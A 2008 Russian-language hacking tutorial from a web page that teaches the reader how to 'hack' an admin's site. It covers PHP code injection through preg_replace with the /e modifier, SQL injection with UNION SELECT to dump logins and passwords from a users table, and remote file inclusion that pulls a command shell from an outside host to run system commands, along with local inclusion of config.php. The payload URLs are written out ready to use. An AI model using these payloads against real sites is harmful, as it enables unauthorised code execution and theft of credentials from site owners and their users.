Free hosting: www.2x4.ru
DDOS protection
Close
HELLO WORLD TEAM - %C8%ED%FA%E5%EA%F6%E8%E8 - Интернет Безопасность
Инъекции

Приветствую ...
Сегодня мы поговорим об инъекциях и инклудах.А именно о php и sql инъекциях и инклуде файлов ...
Приступим...
Все начиналось с таво что ты решил похекать сайт ,некоего злого админчега.,ты решил найти баги .

PHP-Injection:
Итак , что такое php инъекция , это исполнение php кода с помощью передаваемых значений ... для начала посмотрим как ее найти ..
Например , лазия по сайту , ты обнаружил ссылки , в параметрах которых передаются некоторые данные ..давай определим что ето за данные ..
например ты увидил http://localhost/file.php?id=5 ... здесь в переменной id передаётся значение 5 .
чтоже ето за 5ка . попробуем подставить вместо 5 , функцию phpinfo() ... если все удачно то высветится информация
о установленном php ...Теперь вопрос такой , почему ето сработало , потому что в скрипте прием переменной расчитан на замену,
то-есть , значение переданное в переменной id предназначено для того чтобы заменить неке строчное значение в выводимой строке ..,
а именно выглядит ето так echo preg_replace('/test/e',$id,$str); где /test/e означает ,
test - заменяемое слово, /e - выполнение php программы при замене, поетому здесь передавая в переменную id например функцию phpinfo();,
она исполнится и отобразит информацию о установленном php ..., а именно заменит слово test на результат функции phpinfo .

SQL-Injection:
SQL инъекция , это исполнение sql команд , с помощью передаваемых значений ...
Например ты увидил , всё туже строку http://localhost/file.php?id=5 ...
Попробуем проверить что ето за 5ка , и введём вместо неё одинарную кавычку ' .
Если всё удачно то мы получим сообщение об ошибке следующего вида
"Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:xampphtdocstmp.php on line 10"...
Теперь мы знаем что существует некая переменная в скрипте которая подставляется в sql запрос , посылаемый базе данных ...
Как ты уже догадался , мы попробуем добавить свой запрос ...
Вводим UNION SELECT 1, UNION - объеденяет несколько запросов , SELECT - означает вывести , 1 - выводимая столбик ..
Если все удачно то на странице отобразится в некоем месте еденица(столбик), вместо еденицы можно подставить например столбик login,
и тогда , если такой столбик существует , и в нем есть некий логин , то он отобразится на страничке.Бывает и так ,
что значения неотображаются,но об етом в следующий раз ..
Еслиже отображается такое сообщение Different number of columns , значит выводится другое число столбиков , и нам следует его определить.
Делается ето так , после введенной еденицы добавляется через запятую еще цифра , например двойка,
запрос примет вид http://localhost/file.php?id=5+UNION+SELECT+1,2 и если все удачно то на странице отобразится единица и(или) двойка ..
Теперь давай попробуем вывести имя пользоватиля и его пароль ...http://localhost/file.php?id=-1+NION+SELECT+login,password+FROM+users ...
Данный запрос требует наличие столбиков login и password , а также таблицы users . FROM - откуда выводить .

Include:
В данном случае include означает , подключение некоего файла , например файла новостей . Как это выглядит .
http://localhost/file.php?include=news.html ., здесь подключается файл новостей ,
а что если попробовать подключить свой шел с бесплатного хостинга ,
на котором отключено исполнение php кода с таким содержимым .,
то как ты уже наверное догадался на странице отобразится исполненый ответ функции system.
Попробуем передать команду dir(windows) ls(*nix) .
http://localhost/file.php?include=http://haxor.narod.ru/shell.php?c=dir
если все правильно сработает то отобразится список файлов в директории...
Также можно заинклудить локальный(тамже) файл ... например http://localhost/file.php?include=config.php ...

Дата: 2008-08-03 13:59:48 Автор: ixTor

Назад


Мой хостинг - www.2x4.ru